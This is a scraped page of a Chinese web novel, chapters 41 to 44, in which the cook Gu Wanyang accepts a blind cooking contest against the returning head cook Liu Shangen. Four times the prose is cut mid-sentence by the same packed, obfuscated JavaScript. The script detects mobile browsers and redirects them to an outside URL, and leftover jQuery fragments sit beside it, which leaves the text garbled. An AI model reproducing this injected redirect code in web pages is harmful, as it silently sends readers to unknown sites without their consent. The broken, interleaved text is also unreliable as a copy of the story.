;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930323|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的脑袋，说道：“怎么，你是不是也想搬个板凳坐旁边看热闹呢。” 小桃小鸡啄米似的点头，笑嘻嘻地不说话。 顾宛央一脸无奈，转过头还想继续对着李瑾修说话，李瑾修一看不好，赶紧把身上的大布袋扔在石桌上，快速从里面掏出几本书说道：“宛央，你看，这是什么！” 顾宛央被李瑾修一打断，忘了要说什么，眼神看向他手中的书，不由地站了起来，惊喜地说道：“食谱？” “对，这一大布袋子里面全是食谱，你看看。”李瑾修暗自松了一口气，总算是转移了注意力。 顾宛央快速走到李瑾修的跟前，翻看着布袋里的书。 顾宛央快速走过来的风带起一阵幽香，李瑾修就任凭这股幽香渗入自己的内心，他低头看着在布袋中找书的小女子，顿时觉得挨一顿数落也是值得的。 “瑾修哥，你别告诉我，你出去了三天，就是为了搞这袋子破书回来？”小桃开口道。 “对啊，这可不是什么破书啊，这都是古法食谱，越是破旧越是难搞到啊！”李瑾修听小桃把这些他辛辛苦苦搞来的古书，形容成破书，顿时气的差点跳起来。 “小桃，这的确不是什么破书，这些书就算有钱也未必能买到的。”顾宛央一边把所有的书都掏出来整理，一边说道。 “你看，宛央就是比你这小丫头懂，这可是我花了整整三天时间收集到的。”李瑾修说道。 为了收罗这些书，李瑾修飞鸽传书给郑奎下了死命令必须把这些书找到，而且他还快马加鞭回了一趟京都，亲自去把所有会有古法食谱的地方都淘了一遍，这才有这一袋子的书。 李瑾修的脑海中又回想起，他把食谱抢走的时候，那些白胡子老头哭的稀里哗啦的画面。 顾宛央听了李瑾修的话，不由地抬头看向他，问道：“一般人花一辈子都收罗不了几本，你短短三天就收集了这么多？” “啊？哎呀，这不是我朋友多嘛，打了个招呼出去，大家一起想办法的。”李瑾修赶忙说道。 顾宛央深深地看了李瑾修一眼，她从来都知道李瑾修肯定是出身富贵人家的，但现在看来并不是一般的富了，崔士忠只送来了两本普通食谱，这小子一下子就搞来一袋子古法食谱，这差距不是一点半点的大！ “宛央，这些食谱是不是能让你气消一点？”李瑾修转移话题道。 顾宛央把视线拉回到古法食谱上，算了，他就算再富再贵跟她又有什么关系呢，还不如多看看眼前的食谱。 “勉强原谅你了，等我细细看完抄录，便还与你。”顾宛央说道。 “不用还，不用还，送给你了。”李瑾修说道。 “那可不行，这些古法食谱不似普通食谱，说送就送了，能收藏这些的人必定也是同好，君子不能夺人所好，等我抄录完还给你，你再去还给人家。”顾宛央正色道。 李瑾修没想到顾宛央想的这么周到，不由自主地点点头，这样也好，等还回去的时候，估计那些人肯定会开心到跳脚的！ 41. 第 41 章 李瑾修的失踪风波在带回来一袋子古法食谱后，变得不算什么大事了，因为顾宛央除了做饭就是看书抄书，也顾不上找他的错处。 而李瑾修看着自己带来的书，能让顾宛央废寝忘食地钻研，也非常有成就感，心里想着崔士忠那两本普通的食谱，早晚得给他扔了去。 充实的日子，时间总是过得飞快，虽然忙碌，但顾宛央还是惦记着陈大爷和陈大娘，出去采买的时候，总要绕道去看一看他们，不为别的，只为见到他们如同就见到了上一世的父母，彼此心中都有慰藉。 陈大娘的精神状态也比前些日子好了许多，两位老人心中有了盼头，总是会准备着一些零食和点心在家，顾宛央去了之后，每次都得带一大包吃的回来。 当顾宛央已经习惯在文庙上班的日子时，刘大厨回来了。 刘大厨本名刘善根，是齐中县蟠龙镇人，祖上几代都做过御厨，但到了刘善根祖父这一代，却是没能进得了宫，为此刘善根祖父抱憾而终，并立下遗言子孙后代要以进宫做御厨为目标，就算是进不了宫，也得为官家做事，不可自立门户开食肆，也不可去富贵人家做大厨，不许辱没了祖上几代的声誉。 刘善根原本在隔壁县府衙做大厨，但因为性情耿直不懂通融，也不跟其他人同流合污贪墨厨房的经费，被排挤了出来。 刘善根本想回老家种地去，好在有熟人告诉他齐中县文庙正在招厨子，文庙也算是官府所管，符合刘善根祖父的遗训，所以他直奔齐中县文庙而来。 御厨后人的厨艺水平自然是没的说，原本挑剔的学子总算是认可了刘善根，他这一做便是好些年。 刘善根背着包裹抬头看着文庙两个大字，不由地感叹终于回来了，离开了这一个多月的时间，他虽然忙着伺候老父亲，但心里一直都想着这边的公厨，担心时间太久了会不会回来就被顶替了，所以等到老父亲的病情一有好转，他便把儿子留下继续照顾老父亲，自己则马不停蹄地赶来上工。 只因齐中县的公厨完全可以由自己做主，再也没有那些贪官在一旁指手画脚的，不仅碍事还贪墨，他完全不能跟他们同流合污，所以他格外珍惜文庙公厨这份官家的工作。 新修缮好的文庙焕然一新，刘善根几乎有些认不出来了，他背着包裹慢慢往前走，现在应该是刚刚用完午膳的时辰，他也不用这么着急地去公厨。 刘善根从旁边抄小路往公厨方向走去，大路上已经有三三两两的学子从公厨吃完饭走出来，刘善根一个多月没见到熟人了，觉得很亲切，刚想从小路回到大路上去跟他们打个招呼，就听见他们在议论中午的饭菜。 “今天中午的水煮鱼真好吃啊！” “是啊，顾姑娘说是水煮鱼，我还以为真的是那种白开水煮出来的鱼呢，嘻嘻。” “对，没想到水煮鱼是重口味的鱼，现在我的嘴都还是有点麻呢。” “真是回味无穷呢，那口感又鲜又辣又麻，对了，里面的配菜也好吃。” “对对对，我也想说，豆芽菜、莴苣片，没想到作为水煮鱼的配菜，居然这么好吃。” “顾姑娘真的很会做菜，这些天做了好多我们都没吃到过的菜呢。” 刘善根停下打算上前的脚步，小路跟大路中间隔了一排茂盛的槐树，他往其中较大一棵槐树后面藏了藏，听着路过的学子们的饭后议论。 “是啊，一开始知道是个年轻姑娘的时候，我们都看不起人家呢，没想到被打脸了，嘿嘿。” “要我说，顾姑娘的厨艺可不比刘大厨的差呢。” “嘿，我刚刚也想这样说。” “刘大厨做的饭菜也好吃，就是有些中规中矩的，但顾姑娘的不一样，她做的饭菜天马行空，让人无比期待。” “哎，要是顾姑娘能一直在文庙做大厨就好了呢。” 躲在槐树背后的刘善根脸色暗了下来。 “那你去跟府衙说去，说把刘大厨换了，换成顾姑娘。” “是啊，你去呀你去呀。” “你们这几人，就知道把我往风口浪尖推，我才不去呢。” “你们别这样说，刘大厨做的饭菜我就爱吃，虽然顾姑娘做的我也爱吃，你们这些年轻人想要换厨子，就是看人家姑娘长得好看吧。” “虽然顾姑娘确实貌美，但她的厨艺对于外貌来说，是一点都不差的好吗，我等有这么俗气嘛，光看外表？” “如果刘大厨和顾姑娘能每人每天做一顿，那可就太好啦。” “得了吧，哪家大厨肯这样做啊，别想了。” “算了，反正刘大厨还没回来呢，还能吃几天顾姑娘做的饭菜，先吃着再说。” “话说，中午除了水煮鱼好吃，那道叫手撕鸡的，也很好吃啊！” “对，没想到鸡肉还有这种吃法呢，长见识了。” “诶，你们说，明天会有什么好吃的呢？” “明天不就知道了吗，现在你是想不到顾姑娘会做什么的。” “也对，哈哈哈。” 随着这群人的渐行渐远，后面又有几人从膳堂走了出来，聊得依旧是今天中午的饭菜，当然还有想让那位顾姑娘做大厨的心思。 刘善根越听脸色越黑，自己堂堂一个御厨后人，居然会拿来跟一个二十岁不到的小姑娘比较，真是奇耻大辱，这群年纪轻轻的学子们肯定是看人家又年轻又漂亮，所以才想换掉他！ 没想到，他短短一个多月的时间不在，家都要被人偷了！ 刘善根站在槐树后面，直到全部学子都从膳堂走完了，这才从槐树后现身出来，往公厨走了过去。 脚步越走越沉重，刘善根站在公厨门口，就看到了对自己崇拜地五体投地的小徒弟，正对着一个年轻女子殷勤地说着话。 虽然两人背对着门在说话，但声音却一字不落地飘进刘善根的耳中。 “顾姑娘，今天这两道菜真是不错，我听到学子们都夸赞不已呢。”尹多的态度跟一开始完全就变了样子，现在的他唯顾宛央的命令是从。 “他们爱吃就好，也多亏了你提醒，学子们爱吃重口味的，所以做出来的菜肯定会符合他们的口味。”顾宛央微笑着说道，尹多也就是个心思单纯的年轻小伙，他这段时间已经完全被自己的厨艺征服了。 “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935637|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是顾姑娘的手艺好，之前我师傅做的也是重口味，但好像学子们夸赞他都还没夸赞你多呢。”尹多说道。 “不能这样说，只是因为我是新来的，学子们有个新鲜感而已，刘大厨的厨艺肯定是好过我的。”顾宛央皱了皱眉头，哪有徒弟这样说师傅的。 “不是不是，我也觉得顾姑娘做的好吃呢。”尹多没注意顾宛央的表情，继续说道，他说的可是真心话啊！ “尹多！！！”门口的刘善根再也不能忍了，咆哮道。 这么大一声吼叫把顾宛央和尹多两人震得直接转过身来，连在厨房干活的小桃也吓得冒出脑袋看看外面到底发生了什么事情。 “师傅！”尹多露出惊喜的表情：“您回来啦，可想死我了！” 尹多一边喊着一边跑向刘善根，想给他一个大大的拥抱，没料到还没跑到刘善根面前，就被刘善根一巴掌推在胸口，后退了好几步。 “师傅，你干嘛推我？”尹多捂着胸口，委屈地看着刘善根说道，虽然不是很疼，但是被师傅推开还是很伤心的一件事。 “你还记得你是我徒弟吗！”刘善根气红了眼，一路上就听见学子议论自己厨艺不如新来的小姑娘，他也就忍了，没想到自己的徒弟也站到了别人一边！ “我记得的啊，师傅，您是我跟了好几年的师傅啊。”尹多还没意识到自己刚才的话，已经让刘善根怒不可遏了。 “别喊我师傅，我没有你这样吃里扒外的徒弟。”刘善根拒绝与尹多交流。 顾宛央一看气氛不对，赶紧上前行礼道：“这位肯定是刘大厨吧，我叫顾宛央，是暂时来接替您的厨子。” “顾宛央？我看你不是暂时来接替的，你就是想一直顶替下去了吧。”刘大厨把怒火转移到了顾宛央的身上。 “刘大厨此话怎讲，徐工师跟我说的是，等您一回来，我就可以离开了的。”顾宛央虽然知道刘大厨刚刚肯定听到了尹多的话，但又不是她惹他生气的，凭啥让她来承受怒气。 “你别以为你长得好看一点，又年轻，就能顶替我了，我告诉你，御厨后人的名头不是谁都能替代的。”刘大厨杀红了眼，对着顾宛央继续输出起来。 “喂，你是谁啊，凭什么吼我宛央姐！”小桃从后厨冲了过来，举着一把菜刀指着刘善根怒道。 被明晃晃的菜刀一指，刘善根的理智恢复了一些，他深吸了一口气，傲娇地说道：“我刘善根是府衙聘请的文庙公厨的大厨！” “既然刘大厨回来了，我马上收拾行李离开文庙。”顾宛央拉住小桃的手说道，防止她一冲动就砍了上去。 “你现在不能离开，我要跟你一决高下，谁的厨艺胜出谁就留下，我就不信你小小年纪，能胜过我的厨艺！”刘善根今天彻底被学子们和尹多刺激到了，他不相信顾宛央的厨艺有他们说的那么好，他一定要让所有人心服口服！ 顾宛央本已转身要走，听到刘善根下的战书，她对上刘善根的视线，缓缓开口说道：“好，我跟你比试厨艺！” 她虽然不想惹事，但也不是个怕事的人，既然被人追着要决斗，她的好胜心也被激起，那就来吧！ 42. 第 42 章 刘善根看着顾宛央那双无畏无惧又清澈深沉的眼眸，顿时有些晃了神，随即脑子里那些学子的言语又冒了出来，刘善根的思绪被拉了回来，哼，别以为这种狐媚子眼神能迷惑的了我！ “师傅，师傅，别冲动啊！”尹多急的赶忙上前拉着刘善根的胳膊劝阻道。 刘善根猛地甩开尹多的手，怒道：“小兔崽子，你走开。” “师傅，师傅，您忘了祖师爷爷的遗训了吗，咱们不能离开这里啊，离了这里还得去找官府的活计，弄不好就要回老家种地了。”尹多情急之下喊出声来。 “好你个尹多，你这吃里扒外的，怎么你觉得我一定会输吗？你师傅我是不会离开的！”刘善根一听更怒了。 “顾姑娘，拜托你不要跟我师傅比了，求你了。”尹多见劝不住刘善根，转向一旁的顾宛央央求道。 刘善根一把拽住尹多的衣领，直接把他扔出了膳堂。 顾宛央冷眼看着这师徒两人，尹多嘴快话多，这段时间相处下来，闲暇时已经把刘大厨的底细全都漏给了顾宛央，她知道刘大厨家的祖训是只能在官府做事的，但刘善根这种犟脾气，一上头就什么都不顾了，反正自己都是要离开的，输了也不怕，赢了也能给刘善根一个教训，何况她未必会输呢。 “刘大厨，你想怎么比？”顾宛央也不急着回小院收拾东西离开了，既然要比赛，那得问清楚赛制。 刘善根转身回来，说道：“明天中午，我们一人做一道菜，让学子们吃过后投票决定选择哪道菜，谁被选的多谁就获胜。” “好。”顾宛央马上答应道。 “不能透露两道菜是谁做的！”刘善根补充了一句。 “没问题。”顾宛央也立刻答应，这样最公平。 刘善根“哼”了一声，提着包裹就出了膳堂，尹多喊了一声“师傅”想追过去，但又停了下来，转头奔向顾宛央，说道：“顾姑娘，能不跟我师傅比吗？” “不能，君子一言驷马难追。”顾宛央拒绝道。 “那，那还请顾姑娘手下留情。”尹多咬了咬牙，终于说出口。 “这话就不对了，要是被你师傅听到，非得把你逐出师门了！”顾宛央一听，虽然知道尹多是因为担心刘善根输了要离开公厨，但她还是正色道：“我既已答应跟你师傅比赛，定会全力以赴，你想都别想让我放水。” 尹多被顾宛央的话说得低下头，他也不想说这话的，但是他好担心啊，师傅离开公厨了的话，如果找不到官家差事，那就得回家种地了。 “况且，你怎么就料定你师傅会输呢！”顾宛央说道：“两军对垒，气势先就不能输，你这个样子，怪不得你师傅要把你扔出去呢！” 顾宛央说完，也不管尹多是不是哭丧着脸，转身就离开了膳堂。 膳堂发生的这一幕早有好事的学子们散播开来，特别是周文仓最起劲，把膳堂刘大厨和顾宛央的对话都模仿的惟妙惟肖，刘大厨和顾宛央各自都有自己的粉丝，所以自然而然学子们就分为了两派，当然还有些中立的，无所谓到底这两位谁能留下的。 于是中立的这些人便成了刘大厨派和顾宛央派极力争取拉拢的对象，但崔士忠的一句话就浇灭了大家拉票的热情。 “据周兄所说，明日比赛是匿名的，也就是说大家都不知道哪道菜是谁做的，仅凭口味定胜负，你们这般拉人投票又有何用？”崔士忠虽然也希望顾宛央获胜，但他不喜这种拉人投票的行为。 “崔兄，你不是常说顾姑娘做的菜比刘大厨好吃嘛？怎地到这时候了，你却不站队了？你不希望顾姑娘留下来嘛？”周文仓嬉皮笑脸地凑过来说道。 “对啊，崔兄你还偷偷送食谱给顾姑娘呢，哈哈。” “是吗？莫不是崔兄对顾姑娘有点那什么意思？” 崔士忠被大家这种调笑的语气说的有些脸红，不过片刻他便恢复正常，朗声说道：“窈窕淑女，君子好逑，我是送过食谱给顾姑娘，但那不是偷偷送的，是光明正大敲门进去送的，据我所知，诸位仁兄也没少送东西给顾姑娘吧？而且还都是偷偷送的！我虽欣赏顾姑娘......的厨艺，也希望她能胜出，但比赛就是比赛，需要公平公正，况且就算她输了，那又何妨呢？” “崔兄说的是，就算顾姑娘输了，离开了文庙，她不还在集市摆早餐摊嘛，各位爱吃她做的东西，大可去捧场，也不一定非得困住她在文庙。”程广辛也站出来帮崔士忠说话。 “就是就是，谁输谁赢不重要，我们权当看个热闹，饱个口福。”周文仓最惯察言观色的，他见崔士忠有些认真起来了，连忙出来打岔。 文庙学子们哪个不知道崔士忠这人为人一板一眼处事十分不圆滑呢，所以周文仓一打圆场，大家立马也就住了嘴，一哄而散。 李瑾修在听到刘大厨回来的时候，都想转身进屋收拾东西了，就听得小桃在说明日要厨艺比赛，谁输谁离开。 “宛央，你如果赢了，真要留下来在这里做下去吗？”李瑾修问道。 “这世上没有如果，等明日比完再说。”顾宛央淡淡地说道，她习惯总是先要争夺到了话语权，然后再做决定。 “要我说，在这文庙做工那是极好的，风吹不到日晒不着，还有工钱，每天还管饭，还管住。”小桃在一旁说道。 “你这小丫头就这点出息，你宛央姐可不像你。”李瑾修瞟了小桃一眼，漫不经心地说道。 顾宛央闻言抬头向李瑾修看去，问道：“哦？此话怎讲？” “若说这文庙公厨的差事对于一般人来说，确实算得上是非常好了，又稳定又不是太累，但你不一样，文庙公厨挣钱太少了，达不到你挣钱要求的。”李瑾修笃悠悠地说道。 顾宛央不由地笑起来，但没有反驳，只是问道：“你是怎么知道的？” “就凭你没有放弃早餐摊子就知道了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943213|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对你来说，文庙的差事有可能会没有，但自己摆的摊子，完全可以凭自己做主，你摆早餐摊子、卖桃花酿还有给我做饭、教我打拳都是在挣钱攒钱，等你攒够钱了，会开个食肆铺子，等钱越来越多，你开的食肆越来越大，到最后还能开出个大酒楼来呢。”李瑾修说道。 顾宛央一双清亮的眸子看向李瑾修，这人还挺了解自己的，确实她不甘于就待在文庙上班，她想要有自己的事业，自己做老板肯定好过于在别人地盘打工。 “啊？是这样的吗，宛央姐？”小桃从来都是跟着宛央干活，也没想过将来能开出大酒楼来。 “差不多是这个意思吧。”顾宛央也不否认，想要赚大钱并不是见不得人的事情，人类总是在为了更好更幸福的明天而努力奋斗的，每个人都有自己的目标和理想。 “那你为啥还跟刘大厨比试厨艺呢？”小桃疑惑地问道。 “小桃，如果有人来挑衅我们的话，那就要毫不犹豫地怼回去，既然刘大厨下了战书，我没有不接的道理。”顾宛央说道。 “啪啪啪”李瑾修鼓起掌来，说道：“说的好，有道理。” 顾宛央白了李瑾修一眼，继续对小桃说道：“咱们不惹事也不怕事，如果别人欺负到你头上了，你都不敢吭一声，那结果就是越来越被欺负，如果你敢于反抗，争个鱼死网破，那些欺负你的人自然就怕了。” “当然，刘大厨这种情况并不是欺负我们，他应该是受刺激了，所以一怒之下下了挑战书，若是我不接下来，一来刘大厨会以为我瞧不起他，二来他也会以为我怕了他，所以，这个挑战我没法不接。”顾宛央仔细地给小桃解释道。 小桃若有所思地点点头，说道：“反正我跟着宛央姐，你去哪我就去哪。” “那你还是先得问过桂花婶才是。”顾宛央笑道，她可不敢做小桃的主。 小桃一听到桂花婶的名字，顿时有些泪眼汪汪了，叹了口气说道：“我想我娘了，还有阿奶还有栓子。” 顾宛央带着小桃出来干活已经又有一个多月的时间，也不怪小桃会想念家人，毕竟她也是第一次离开家里。 顾宛央摸了摸小桃的脑袋，说道：“快了，等文庙的事情一结束，你就能回去看你娘还有你阿奶和栓子了。” “嗯。”小桃用力点头。 小桃马上能见到自己的家人了，可是自己却是恐怕这辈子都见不到父母了，顾宛央看着满脸期待的小桃，不由也抹了一下眼睛。 李瑾修在一旁看的真切，顾宛央脸上的失落落在他眼中，他默默地回到西厢房，拿了两块酥糖出来，递给了顾宛央。 顾宛央错愕地抬头，看着李瑾修，眼神询问为什么给她糖。 “吃吧，你说过的，甜食能让人快乐。”李瑾修一把将酥糖塞到顾宛央手中，认真地点了点头。 顾宛央笑了起来，她接过酥糖咬了一口，嗯，甜的，心情好像好了起来。 43. 第 43 章 第二日顾宛央照常早起，去西市集摆摊，一切收拾就绪，这才跟往常一样的时间来到膳堂。 一进膳堂的大门，刘善根已经在里面了，看到顾宛央姗姗来迟，原本就严肃的脸上更加暗沉了，顾宛央到了膳堂没多久后，供货商才将今日的食材送了过来。 供货商周管事见刘善根回来了，不由地上前拱手行礼问候寒暄，因之前从顾宛央这里得知刘大厨一回来，她便要离开，所以周管事卸完货后直接就向刘大厨询问明日需要送的食材。 刘善根看了顾宛央一眼，虽然他很有信心赢了这个小丫头，但毕竟他设下了比赛，在结果没出来之前，他也不好意思直接就认定明日的食材他能做主，他希望顾宛央跟他客气一番，让他定就行。 顾宛央自然知道刘善根这一眼的意思，她就不开口，反正周管事问的是他，又不是自己，况且她已打定主意要离开，明日送什么食材都与她无关了。 刘善根见顾宛央不接茬，也不好不回周管事，只能硬着头皮定了明日的食材，跟周管事交待完后，又悄悄地看了顾宛央一眼，见她并没什么反应，这才轻舒了一口气。 “小丫头，怎么今天中午你只让周管事送了一种荤食材？你不知道文庙学子们的餐标是两荤一素吗？”刘善根送周管事离开后，翻看食材发现不对劲，于是板着脸对顾宛央问道。 顾宛央指着厨房一角一个大缸子说道：“我知道啊，喏，还有一种食材我让周管事昨天提前送来了。” “什么？你不知道做菜的关键就是要食材新鲜吗？你居然用隔夜的食材做？你不会这段时间都是这样做的吧？”刘善根不可思议地说道，果然不是什么正经大厨。 “你先别急啊，这田螺不得要提前一天送来养一养吐吐沙嘛，这不是还活着呢吗，怎么就不新鲜了？”顾宛央揭开大缸子的盖子，无语地说道。 “这......”刘善根被顾宛央的话噎得说不出话了，好像她说的对，但好像又哪里不对劲，他想了一下才说道：“哪有食堂的菜是做田螺的？真是闻所未闻！” “这个时节田螺正肥的季节，为什么不能用来做食堂的菜？你没听过不代表不可以做！难道刘大厨连田螺都不会做吗？”顾宛央叉腰反驳道，她又不知道刘善根昨天就回来了，本来她是打算自己来做的。 “笑话，这天底下的食材，只要你拿得出来，我就做得出来。”刘善根一点都不甘示弱，他是说食堂没有做田螺的，又不是说自己不会做。 “那不就行了嘛。”顾宛央说道。 “你！”刘善根再一次被噎住，他挥了挥手平复一下情绪，问道：“你今天中午选哪样食材？” “我都可以。”顾宛央说道，今天的食材是她定的，对于她来说做哪样都行。 “什么叫都可以！这样吧，我扔这枚铜板来猜正反，猜对的先选。”刘善根对顾宛央这种无所谓的态度很是生气，掏出一枚铜板说道。 顾宛央点点头，既然刘善根要公平公正，那这是最好的办法。 结果是刘善根猜中了，顾宛央不用选了，刘善根选食材的时候毫不犹豫地选择了里脊肉。 顾宛央自觉地朝着装满田螺的大缸子走去，今天她只需做一道菜，时间来得及，不然她还担心时间有点赶呢。 小桃和尹多自动分成了两队，小桃跟在顾宛央的身旁，尹多则是跟在刘善根的身后。 养了一整天的田螺，已经将沙子和杂质吐得干干净净，肥大的田螺悠哉悠哉地舒展着身体，这个季节的田螺肥美，并且还不会有小田螺在肚子里，等再过段时间，田螺肚子里有小田螺，那口感就不好了。 顾宛央和小桃将田螺反复地清洗了几遍，然后便烧火把水烧开，将洗干净的田螺倒入热水中焯水。 焯水完后，便是最耗时间的大工程，需将田螺肉一个一个地挑出来。 当顾宛央和小桃专心致志地挑田螺的时候，刘善根也开始了他的准备工作。 食材是里脊肉，刘善根并未考虑太久，便指挥着尹多干起活来。 里脊肉的做法有很多种，刘善根今天要做的是糖醋里脊，这道菜虽然酸甜可口非常好吃，但做起来还是有些麻烦，平日他要做三道菜，所以没有时间费功夫做这道菜，正好大家也没吃过他做的这道菜，用来比赛正好。 刘善根看了顾宛央一眼，见她专心埋头挑螺肉，一眼都不往他这边瞧，这才放心地开始切起肉来，作为大厨的他不是小气，行规便是这样，不是自己人或者徒弟的话，做菜的时候是不能在场的，但今天是要共用厨房，他也不能把顾宛央赶出去。 尹多自然是知道师傅的规矩，他不自觉地帮着师傅挡住了顾宛央那边的视线，但转念一想，顾宛央做菜的时候从未避着他，顿时心情有些复杂地看了顾宛央那边一眼。 刘善根先将里脊肉切成若干块状，再将块状的里脊肉正面反面均切上花刀，目的就是为了腌制的时候更加入味，等会炸的时候也能炸的更透。 块状里脊肉切完花刀后，再切成一寸见方的小块状，刘善根的刀法一流，没用多少时间，一大块里脊肉便切好了。 接着便是给里脊肉调个底味，加入盐、料酒、酱油抓拌均匀，然后开始调出面糊并加入些许油，使得面糊变得顺滑，接着便将腌好的里脊肉放入面糊中，搅拌至每块里脊肉都裹上面糊。 然后刘善根又调了一碗料汁，加入盐、白糖、醋、酱油和料酒搅拌均匀备用。 等做好这些，刘善根吩咐尹多烧火，火旺油热之后，刘善根将裹上面糊的里脊肉块扔进油锅中，开始炸肉。 里脊肉一接触到热油，香气便飘散了出来，小桃忍不住抬头望向灶台，但也只能见着刘善根和尹多的两个背影，根本看不到油锅里的肉。 锅中的里脊肉逐渐变得微黄起来，刘善根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾宛央不管旁边的人，等锅中调料爆香后将洗干净的螺肉倒了进去，旺火宽油将螺肉爆炒，喷入料酒去腥增香，顿时锅中飘出阵阵香气。 刘善根见顾宛央掌勺颠锅十分的专业，不由地也停下了要出去的脚步，只见顾宛央纤细的右手腕拿着锅铲在锅边飞舞，左手熟练地颠着锅，这姿势、力道一点都不比自己差。 没想到这柔弱的小姑娘居然力气那么大，刘善根看她的眼神中有少许赞许之色，之前的轻视消退不少。 顾宛央快速地加入盐、酱油和白糖，并沿着锅边淋了一圈水，盖上锅盖闷煮一分钟时间，然后揭开锅盖将准备好的韭菜扔进去，继续翻炒锅中的螺肉，将韭菜炒断生后，立刻就把锅中的螺肉盛了出来。 刚刚出锅的韭菜炒螺肉冒着热气腾腾香喷喷的锅气，绿色的韭菜和红色的小米椒与螺肉混合在一起，看得刘善根不由地咽了口口水。 44. 第 44 章 状元殿的学子们今日上课的时候都魂不守舍，别说周文仓这样吊车尾的人，就连崔士忠这样名列前茅的人，都时常分心，把夫子气的吹胡子瞪眼、大发雷霆，众人这才勉强收回注意力，等到中午可以下课时，夫子故意拖了堂，但大家都不敢面露不耐，只能静等夫子宣布下课。 等到夫子终于下课，一群人尤其是年轻的学子一窝蜂地就往外跑，不知道的还以为这是出了什么大事情，夫子摇头叹息，把这些精力放在课业上，他也就不愁学生里能出几个举子了。 刘善根和顾宛央卡着点把菜准备好，但到时间了却发现一个人都没来，不由面面相觑，这是怎么回事。 好在尹多腿脚快，去状元殿打探了一番，得知今日夫子下课晚了，两人这才安心等待学子们的到来。 果然没等多久，一大批人就急匆匆地进了膳堂，最近天气也暖和了许多，虽然菜不是刚出锅的，但也没有太大影响。 尹多和小桃负责给学子们打饭菜，刘善根和顾宛央则是一人一边站着，打饭菜的地方多了几十个竹牌牌，领完饭菜每人再领一个竹牌牌。 “各位学子，今日我与顾姑娘比拼厨艺，烦请大家做个见证，今天的两道菜是糖醋里脊和韭菜炒螺肉，若是各位觉得哪道菜口味好，就请将这个竹牌子放在相应的罐子里。”刘善根说道。 众位学子自然是知道今日的比拼，所以也都非常配合地称“好”，他们都迫不及待地想要品尝眼前的这两道菜品了。 崔士忠和程广辛坐在一处吃饭，周文仓见状端着盘子拉着付仁青也过来凑热闹，接着旁边又来了几个平时跟周文仓关系要好的学子，这几人平时本是分散坐的宽松一些的，现在一溜的都聚集在一张桌上。 “糖醋里脊，韭菜炒螺肉，你们猜这两道菜到底哪道是刘大厨做的，哪道是顾姑娘做的呢？”周文仓没有急着下筷子，而是问向崔士忠。 “不用猜，大家先吃饭，吃完再决定投哪道菜。”崔士忠并没有回答周文仓的问题，而是对坐在一起的学子们说道。 今天夫子拖了堂，大家早已饥肠辘辘，也不管周文仓和崔士忠在说什么，直接开吃了。 周文仓见自己的问话没有得到回答，倒也不气恼，笑嘻嘻地开始吃起饭来。 崔士忠是真饿了，说完刚刚那番话，头也不抬地开始吃饭，酸酸甜甜是他喜欢的味道，他夹了一块糖醋里脊放进嘴里，外表裹着的酱汁酸甜可口，一口咬下去外皮酥脆，内里鲜嫩多汁，味蕾得到了极大的满足。 尝完糖醋里脊，崔士忠看向面前的韭菜炒螺肉，这道菜倒是未曾吃到过，平时吃田螺是带壳一起炒的，吃得时候比较麻烦，还得自己把螺肉从田螺壳里吸出来，并不适合吃饭的时候吃，不过下酒倒是一绝。 今天这道菜是直接将螺肉挑了出来做的，可见做这道菜的人也是结合了食堂吃饭的需求，再看这道菜的颜色，搭配的十分漂亮，刚刚断生的韭菜鲜嫩碧绿、红色的小米椒段与之遥相呼应，夹杂在螺肉中间，一下就把这道普通的菜提高了不少档次。 尝了一口螺肉后，崔士忠不由地点头，螺肉一点土腥味都没有，反而是鲜香爽辣，再加上恰到好处的熟度，螺肉筋道弹牙，咬在嘴里口感十分不错。 特别是在吃完一口糖醋里脊后，再吃一口香辣可口的螺肉，这两道菜搭配在一起简直就是绝配。 崔士忠看向顾宛央站立的方向，只见她十分自在放松地看着大家，再看刘大厨却有些紧张不安，两只手背在身后，急切地关注着每个学子的表情。 顾宛央的目光与崔士忠相接，见他对着自己微微一笑，算是打了个招呼，她也回之以礼。 “崔兄，这两道菜你更喜欢哪一道呢？”程广辛也尝过了两道菜，不由地开口问崔士忠。 “各有千秋，味道都很好，一时间还不知道怎么选择。”崔士忠想了想，如实答道。 